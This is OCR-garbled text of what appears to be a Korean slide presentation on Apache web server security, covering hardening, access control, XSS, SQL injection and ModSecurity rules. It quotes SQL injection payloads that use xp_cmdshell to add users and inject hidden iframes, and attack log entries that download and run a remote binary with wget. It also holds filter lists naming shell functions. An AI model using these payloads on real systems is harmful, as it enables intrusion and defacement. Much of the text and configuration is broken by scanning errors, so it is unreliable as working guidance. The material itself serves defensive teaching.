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var Togale =15
¢ function Imgtopl(chk] {

Togale = (;
switch(chk) {
case 1!

wisecart.stop():
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break

case 2!
wisecart.stee();
break ;
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function Imastarti(chk) {
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case 1!

wizecart .start();

break ;
case 2!

wisecart.start();:

break
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# export CFLAGS="-DHARD_SERVER_LIMIT=1024'
# ./configure --prefix=/www/apache --disable-module=userdir ¥
--disable-module=autoindex --disable-module=auth
--disable-module=status W

--disable-module=imap --disable-module=negotiation ¥

--disable-module=asis --disable-module=cgi --disable-
module=actions W

--enable-module=so

. SNDSO| WS 0251 He

CoadModule AA|0{E S5t0] L3 Do 2L}

#./configure --enable-module=most ¥
--enable-shared=max [...]
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ServerSignature Off |-_-'
ServerTokens ProductOnly '

o« MBS BT HE Hiet
% Vi include/httpd.h

fdefine SERVER_BASEVENDOR “Apache Group”
frdefine SERVER_BASEPRODUCT “Apache”
frdefine SERVER BASEREVISION "1.3.29°

#define SERVER_BASEVERSION SERVER_BASEPRODUCT */*
SERVER_BASEREVISION

. CIEE| QiAo

Options -Indexes
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ExecCOl : CGl AZRE Azl 2
— FollowSymLinks NERERIE )
- Includes : SSI(Server Side In cludes)| 01
ncludesNOEXEC : #exec 2| 7|52 M2l¢!
SSI ol

- Indexes : LIFECE| c[AE =5
ErrorLog, ErrorDocument
Timeout, KeepAlive, MaxClients

StartServer, Min/MaxSpareServers
» MaxRequestsPerChild, LoadModule
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<D_|reotor¥> <D|reotoryl\/latoh>
<Files>, <FileMatch>

<Location», <LocationMatch>
<Limit>, <LimitExcept>

. )’\l'-g-
EI'II'I '| 0 7 |_ ]O ]Conﬂ —I?—I 0:'0 EO'I7|'7'I|—|' check.sh El
0|O'|T thE N = 7Jf

<FilesMatch (.*\.pll.*IocaIconfig.*lcheck.sh)$>
deny from all
<{FilesMatch>

2) URLE =0 “l rivate/data” E= “/speciall
Location>Th <ILocation>MA40H0]| X[XiSt A|

<Location ~ “/(privateispecial)/data”™>

=0

ata” FA[Z0| AEL|
5= %8
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« ht = A|ROH= M9 M= ATHetLE. (htaccess, htpasswd)
<Files ~ “\ht™>

Order allow,deny
Deny from all
Satisfy All

<fFiles>
- ST =TYA I ™S AT

filesmatch “\(incitplhiihtmlisgliniiconfibinispdithemeimodule)$ ™
Deny from all

<{filesmatch>

<files ~ “\configphp$™>
Deny from all

<ffiles>
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GET /protected HTTPA1.1
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- . s |01

5 0 @) HTTPA.1 401 Authorization Required Digest

'.-':.'T = ) Radius

= oo > LDAP

SO . GET/protected HTTP1.1 & Oracle

\\_/ Authorization: Basic 2W50ZXhwOmIudGY¥d

ﬂﬂa’ —E‘J'\'I% Em —EEI' Authentication Required =]
l?r"j Ertiar usamami snd passwand for “stall anea” ab Botpsfvees. apachi-kr ong
Lkt Mo
|
Pesavand:

<Location /protected>> 1

AuthName "Members” =

AuthType Basic

AuthUserFile fusr/local/httpd/users

Require valid-user

</Location> OHIFK[OA] RIBE|= 7|15 Al Qo]
=g PH HoptE HiSo| TA| oL
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« M=M0 2= mod access
- allow
- deny

- order
<Directory /internal-only/>
Order deny,allow
Deny from all
Allow from localhost 192.168.23.0/255.255.255.0
< /Directory >

« LI MM B
- Extended Access Controlimod_eaccess)
YHHAAE 0[80109 URL, HTTP 282 URI
QUERY_STRING s2 /|&2=E ™M /ts
— RBL(Realtime Blackhole List)
mod_access_rbl
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htmi("E= htm), jpg(t= jpeg),
bmp, gif I}20[2|2] &2

0| E5|A| O, 0]2]9] Mpoj|
Moo K HZ0E] MAX|L!
access violation html LIEZS
HOTA LT

<Directory fhomefapachefhtdocs>
Order deny,allow
Deny from all
<FilesMatch “\.(html?|jpe?g|bmp|gif)$”>
Order deny,allow
Allow from all
<fFilesMatch:>
ErrorDocument 403 faccess_violation.html
<fDirectory>
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HPLR |7} CIE[L OIAZ o] A
Ol= ‘IntemetExplorer’ Efﬁﬁ%%
Mol deny AJAIO|= E':
Z150tL, allow AA|HES
‘InternetExplorer’ =

HRRRIO| T 01F

F.'E

=3
A4
| —

=

52[71 A—II—IE|
L 200

BrowserMatch "MSIE InternetExplorer
<Directory fmsie_htmlf-

Order deny,allow

Deny from all

Allow from env=InternetExplorer
<fDirectory>
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« AOIE LHZS| St B= HREF BEHY F5

= B &

- AUHY HE FEH 48

. BEYILY B
e.gl rewrite &

RewriteEngine On
Rewritelog logs/rewrite_log

RewriteCond %{REQUEST_FILENAME} html?% [OR]

Hesta >

Yoo maum 1o Bave attnmpted 10 acoess n page on e site using o brewses o dinni tha i
Ertdwn a an amail eddvise hanssaer., S and edar sndesinalii ofn we such mok
In hervest sddresses they Ihen uso a5 tergess for spam. We back thess hrawsers. B yes have a

camplaisd ar jusd with 10 @ecws our policy an this satier, plosse amail o at
abicseiE e -ba. oy

o g% 8 2001 Spmce Kroa R righby wssrvad

[l openhostont |

RewriteCond %-{HTTP_USER_AGENT} ~WebZIP [OR] s
RewriteCond 2% {HTTP_USER_AGEMT} ~Teleport [OR]
RewriteCond 2%{HTTP_USER_AGENT } ~WebCopy [OR ]
RewriteCond 2%{HTTP_USER_AGEMT} “WebStripper [OR]
RewriteCond 2%{HTTP_USER_AGENT } “ia_archiver [OR]
RewriteCond 2%{HTTP_USER_AGENT } ~UrlScope [OR]
RewriteRule ~ *§ htip://www apache-kr .org/nospam.html [R]
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- DoS(Denial of Service)
- DDoS, DRDoS
. gggo& 22 Buy.com, eBay, CNN, Yahoo, Amazon LHZA[O|E DDoS
. 9 E20|20[2 0]83 SA AO|E BATE) LIEJLE 0

ER0[=MS s BMMHIANE £2{50/ 0|84 3=

dt HFeH
* 001 od

5 IRAF QIHISE KIC HIHS 019
- o Ao TP AT BREE S

— OHIEA] MY R|A[H &
Timeout, KeepAlive, KeepAlivelimeout, StartServers
BLimitCPU, BLimitMEM, BLimitNPROC

- [y=o| M
- bwshare module

- mod_bandwidth
- mod_throttle

— Apache DoS Evasive Maneuvers Module N
%F_S' DDoS = Brute force 3453 Ao A& £
htﬁ):ffw.nuclearelephant.eumfprﬂjectsfdDsevasivef
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Buffer Overfilow

o OFIFA| I AB{Q| A%
- leltRequestBod 10240
- LimitRequestrields 40

- LimitRequestrieldsize 100
- LimitRequestlLine 500

« mod parmguard N
OfHZFE] E=E|= L|0|E{Q| KIS S0t0] A3ZEES EFITt

—H] —= —

http:/fwww trickytools.com/php/mod_parmguard.php

)
» S8Zz 1Y

— Boundary Check

Visit to ' — E“? A
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[}29] olzgr AH=
o—| 5718, Do

— OIOIE EfY (string, integer S)
— OIRO[= 2R} e —
- AlA, At} AL Zo| l
— Z(Nul) 818 |7 |
— D[0E 2R 77 I
- 5= 0807t I
— XAlo| we |
- S W EHAY }
QB3 HTML EIS '

<APPLET><BODY?><EMBED><FRAME>
<FRAMESET > <HTML> <IFRAME> <IMG>

l@%% & ()—_+"~\i[1i};:""2],.>5<
OHIEX| 1 M2l #2 mod_security 2| = 0|2

Visit to




XSS(Cross Site Scripting)

. Oross Site Scr?tmgl 0|2F?

XSS = 9l OfSA0]H0]A| Q121E|= HloJE= HEOMA TALOIA] H50f
220 E Q| ARIELT HTML Ff 19 M%UI VSOl =[=Hl 012
SO molmm DqEH0| SAHOZAR| O|{& £ SIL}

« XSS 0%
baia HTML J'ir%’r Al MAA| ol =CSS( Cascadin Stxle Sheetg)?
S0 AFEE 4 S| W20 XSS 2hy Go] 2214 ¢iCk
GCSS : Cascading Style Sheet
XSS : Cross Site Scripting

o Errg%sl %lrte Scripting 0|cf= O|FMHME & 4 1X0] CRyet S0

« XSS HE E MESc|AI0|HY ! =
H{I{ OHZ 2 S (Buffer Overﬂg )9[64

B A~
Ao ORL AT 7HEA = LT E1 Fet

s avaScr Cri ctive = Flash= 0
K= HTNML, J as B:[ VBScript, ActiveX ¥ += Flash= 0|£01}0
A0 %Elﬂlﬂllzdg &oF ALSAL ”EE_IféI, f‘ckj% iZﬂﬁ | B, §H8
F7| R gsmg Bl HHjlss HE st T/ fLﬁ .

r"“-%“ ‘**ﬁ‘fﬁ
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SQL Injection

»  SAL Injection 0]EF?
- YEE[E OI0E2] HEer =01 gi0| HZEE H0EE HI0[EH| 0| AN M BENE
1E|0L 7z
«  F4ME CIE0 20| ¥87ts
— SELECT, INSERT, DELETE 2|1 DROP TABLE 4t £ SaL WA 2% Jis
— Bk HEMHE Ecl‘ 0100 Q0] L8 FH=

72|

ell= FREM?

EDI

oI5
. I8

Anmeldung
UserMName: | "OR x=x -
Password: arything |

[AFEAF OIS &0 OR =% 2 £0] &0
D|xu:::~ D_;'El]
o= T

"SELECT id
FROM logins
WHERE username = "OR ‘x'=% —

AND password = 'anything’
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SQL Injection O{CH%H

- SQL P SA°
- http:/Amvw.none. to/script?0'; EXEC+master. xp cmdshell(c:md exe+/c)

- http:/ivictim/url.asp?id=1;exec master..xp_cmdshell “net user name
password fadd”--

- http:/victim/url.asp?id=1;exec master..xp_cmdshell ‘echo <ifrmae
src=http:./Avww target. comhcyfox htm width="0"
height="0"></Iframe> >> c:\inetpubWwwwAindex. html’;

= [HJ‘(H
HIO[E 'ﬂlﬂlf"‘?f Nsol= ADZES RE IIEH[ES HAGIY A=A SAQL
InjectionS 2H4 AI?III onrs o™
- flﬂi'it D'E"UI SAL Inj ec’u on S SPHAIZIA| TS S5 parameter (f, -, +,
spage, : 5)0| 0195 | = ARG 0ff CHOHA| Off2 1 ANe|E Ot F oI}
— SQL HtH“ | HIHHINIAS M AHO)l IE(H?II L.—,-* 5 Ao}
- d HEZOIME STt B E EE% Mgttt S oiCt.

— %“E'ﬂa._f Stored Procedure XA _
xp_cmdshell, xp_dirtree, xp_regdeletekey, xp_regwrite, sp_adduser ...
— DB #gr A !

Visit to .
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+ IFRAME E{_1Z O|Z¢t ¥ MOJA| &Y oiiZ S/t
- AOIES BEol= RUC=E 2/ 2F=0 2= & ii5e 8 s58E
AFEELD RS

U o

lframe TE &Y
Using SAL Injection

V‘r <iframe height=0 width=

= gre="http:/ /wyd.gamefor .co

Web Server

<OBJECT Width=0 Height=0
style="display:none;" type="text/x-

Web Server  scriptiet*
! - data="mk:@MSITStore:mhtml:c:%.m
N CHE AO|E25E] ht!htt_://wyd.gamefor.com/job/help.t
= USH AJYEI} T xt:
AOHHS 74D 9l LA b 1/ %23%2E%68%74m" > </OBIECT =
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— Open Source: http:/iwww modsecurity.org

— GPL &t §%E ciolda

— 5 Fo JgH2 X|H

— OHIFA| B 1.X, 2X A|#

— # Mu{of| FH(CIE E|0] CIAR! 3610 E2FMel J

— I\/IodSeourlty 9 75 web server
e ZHAF 2T
® I"_"H H°=| 7|H|"D| modsecurity
. f*’-I e 1S

. I”D|-D-II_ [lJDI:D 'II]'_|- ?EC;I;'(_IH ;'E_-Ig 7'J5
= rDI D-IEIZ ;I(“q al Alflkl?_" 7E.I|7C)c
. B QHZRS 0]

« Encoding validation
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ModSecurity 2| I ! =&

N
http:/fwww modsecurity.org/download/index.html
. ZAMF
c =
1) DSO(Dynamic Shared Object) &4
apxs -cla mod_security.c

2) Static B
1. mod_securityc £ src/modules/extra 0| SAt
2. Configure & 0|&0}0{ Lt £0] "<
--activate-module=src/modules/extra/mod_security

--enable-module=security
3. make & make install

. OFIFA| 2 MH{ &8

httpd.conf IFY0 mod_security D0 |E] 2|
o OFIFA| & AME{ A%}

httpd -t

apachectl restart

: _ : -"‘Ft& _'.... e
Visit to : - EBofiware :
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ModSecurity 2] 7|12 8%

«  ModSecurity Atg A%

<IfModule mod_security.c>
SecFilterEngine On
SecFilterDefaultAction "deny log status:403"
SecFilterScanPOST On
SecFilterCheckURLEncoding On
SecFilterCheckUnicodeEncoding Off
SecFilterForceByteRange 1 255
# SecServerSignature "Microsoft-IIS/5.0"
SecUploadDir ftmp
SecUploadKeepFiles Off
SecAuditEngine RelevantOnly
SecAuditLog logs/modsec_audit.log
SecFilterDebuglevel 0
SecFilterDebuglLog logs/modsec_debug.log
SecFilterSelective REQUEST_METHOD "1~ (GET|HEAD)$" chain

SecFilterSelective HTTP_Content-Type "I{(* application/x-www-form-
urlencoded$ |* multipart/form-data;)"

SecFilterSelective REQUEST _METHOD "~POST$" chain
SecFilterSelective HTTP_Content-Length "~ §"
SecFilterSelective HTTP_Transfer-Encoding "1 $"
Include conf/modsecurity/apache.conf

< fIfModule>

Visit to



ModSecurity & Atg 9| X

Visit to

JavaScript Injection A

Seckilter “<script”

SQL Injection %] -
SecFilter “DELETEI[:space:]l+FROM”

AMEAPL ‘admin’ 0|0 £ P 2FE2| MZTHE 08

SecFilterSelective ARG_username “admin$” chain

SecFilterSelective REMOTE_ADDR “' 192.168.0.1$"

= BEO A

Seckilter cmd.exe

SecFilter sglsvr.exe “redirecthttp://xxx/no.html”

SecFilter cmd.exe “exec:/homefutil/report-attack.pl”

= Hi A AdA
g P 27

Seckilter attack.exe setenv:suspicious

. - ey e



ModSecurity & Al§ GIAl

«  User-Agent 82| AIZE AT
seckilterselective HTTP_REFERER|HTTP_USER_AGENT "<[[:space:]]*{script|about|applet|a
ctivex|chrome )™= " scrpt|about|applet|activex|chrome)[[ space ]]™="

. Ul sal At

seckilter "({select|grant|delete|insert|drop|alter|replace|truncate |update|create|rename|describe [
[space ][ [A-Z|a-z|0-91| [\ ][ space: ]+ (from|into|table|database|index|view)[[ space: |+ [A-L|a-
Z[0=81¥ PUNION SELECT ™ ™. * [0-9] *INTO . *FROM)"

seckilterselective ARGS "(or +1[[space:]]"=[[:space:]]1|ior 1=1]".+

O N 200014 revi 1 severity 2, msg'Generic S0AL injection protectmn

e Qupmo| myBip| T
Foel e el I o T [ |
secFilterselective REQUEST_URNARGS "™|"id\echao™)|"

i 032404 APCF
e i [
seckilterselective THE REQUEST “usr/bin/per!”

«  HTTP Method X Bf
secFilterselective REQUEST METHOD "TRACE" msg!' TRACZE method denied”

«  XML-RPC &4 AfCh (xmirpe.php)

secFilterselective THE_REQUEST "mirpe| txmirpc_services v php" chain

seckilter " xml|\= "xml)" chain

seckilter "lechol [M|V). ™ |chr|fwrite|fopen|system|echr|passthru|popen|proc_open|shell_exec|exe
clproc_nice|proc_terminate|proc_get status|proc_close|pfsockopen|leak|apache_child_terminat
e|posix_kill|posix_mkfifo|posix_setpgid|posix_setsid|posix_setuid|phpinfo il ™"

Visit to




_f, lﬁ*** REAE ARk pRE ARk ARk AR AR RRA REE AR RRE AL AR AL AL Ak kS :ql
COMMan js formObj[ varChecker&rr[ij[0] ].focus);-"
DESC: S & - AHI =3 8E return falze; “M
MODIFY '

EREEAEE AR ARE AR AR AR AR AR AR AR AL AR AL AR AL RRL A AL }AM

=R return true; i

g —_— % i function removeSpacelory_src) i
V i war
e | war sre=" HtmIStrings=["= uumi B ==0uumf B=*H K=ifbe D

10h eliBore: See ERGHY th ) ==Difhe B="M K =cpez B ¥ =tdsjquimbokvkhf

Web Ser\/ef iff org. sre charAt) =" ") =" " C Tdsiquit BN Kpofaspststtvrflatyu i

SrC += Org_sre chard; Hvhstintibes #222 2220 2222 2009 193323095932

' i 2AA2P 222222 2222 22 N e m = g D0xxxA
i return src; selpafbid” "ondinhong .o

SecFilterScanOutput On
SecFilterSelective QUTPUT "String\fromCharCode" "msg:"Malicious Code Injected™
SecFilterOutputMimeTypes "text/html text/plain application/x-javascript"”

[EfAl =] /
Request: www victim.com 210.00.169.00¢ - - [01/Decf2006:17:36:28 +0900] ;
"GET fcommon.js HTTP/1.1" 403 294 "-" "Moazilla/4.0 {compatible; MSIE 6.0;
Windows NT 5.1; S\V1)" - "-"

mod_security-message: Access denied with code 403. Pattern match "String\\.fromCharCode"
at OUTPUT [msg “Malicious Code Injected"] [severity "EMERGENCY"] mod_security-action: 403
HTTP/1.1 403 Forbidden

- . _.:__ oy % :. .-.... L
Visit to ; iy i o e sl



ModSecurity &X]

. 57 PHP S 53t HZK| HH0| A%

Request: www.apache-kr.org 81.214.171.215 - - [28/Nov/2006:11:57:58 +0900] "GET /new

sftemplates/eadline_temp.php?nst_inc=http:/artechinstruments .com#fool20.dat?&list=
1&cmd=id HTTP/1.0" 403 230 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)"

mod_security-action: 403
mod_security-message: Access denied with code 403.

+ OPTION Method Aftt

Request: www.apache-kr.org 219.150.198.239 - - [23/Nov/2006:14:32:43
+0900] "OPTIONS

* HTTP/.1" 403 210 " "0 - v

« CONNECT 0]8%t @7 ALt
Request: www.apache-kr.org 61.229.126.135 - - [23/Nov/2006:04:43:35
+0900] "CONNECT

mx3.mail2000.com.tw:25 HTTP/1.0" 403 188 "-" "-" - "."

Visit to ;.
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E0FY 27 A A0
— ErrorLog

- Loglevel

— LogFormat

— Customlog

£ US| ZA]

# tail —f logsfaccess_log

# tail —f logsfaccess_log , grep 404

— Logsufer(htt p:f fnrvewe cert. dfn.defeng/logsurt/)

— Swatch(http.fAinvwwe stanford eduf~atkinsfswatch)

200 J|1=E|= H] 0[8HMY BH0| FRUN7
1) 61.73.XX.93 - - [26/Aug/2005:11:49:01 +0900] "GET /cgi-

binftools/ctss.idc?ds=LocalServer&user=sa&pwd=~&table=ngt(ng%20int),EXEC +master..x
p_cmdshell(\"emd.exet/c%20din");-- HTTPA .0" 404 569

2) [Thu Dec 29 16:36:05 2005] [error] [client 168.75.27 XX] request failed: erroneous
characters after protocol string: GET

fevsimambodindex2.php? REQUEST[option]=com_content& REQUEST[Itemid]=1&GLO
BALS=&mosConfig_absolute _path=http:/209.136.48.69/cmd.gif?&cmd=cd%20tmp :wget
%20209.136.48.69/micu;chmod®%20744%20micu;./micu;echo%20YYY echo| HTTPw01.1
3) hitp:fvictimfurl.asp?id=1;exec master..xp_cmdshell “net user name password fadd”™—
4) http:fvictim/url.asp?id=1;exec master..xp_cmdshell ‘echo <ifrmae
sre=http:/fwww target.comficyfox.htm width="0" height="0"><fiframe> ==
¢ \inetpub\wwwiindex html’;
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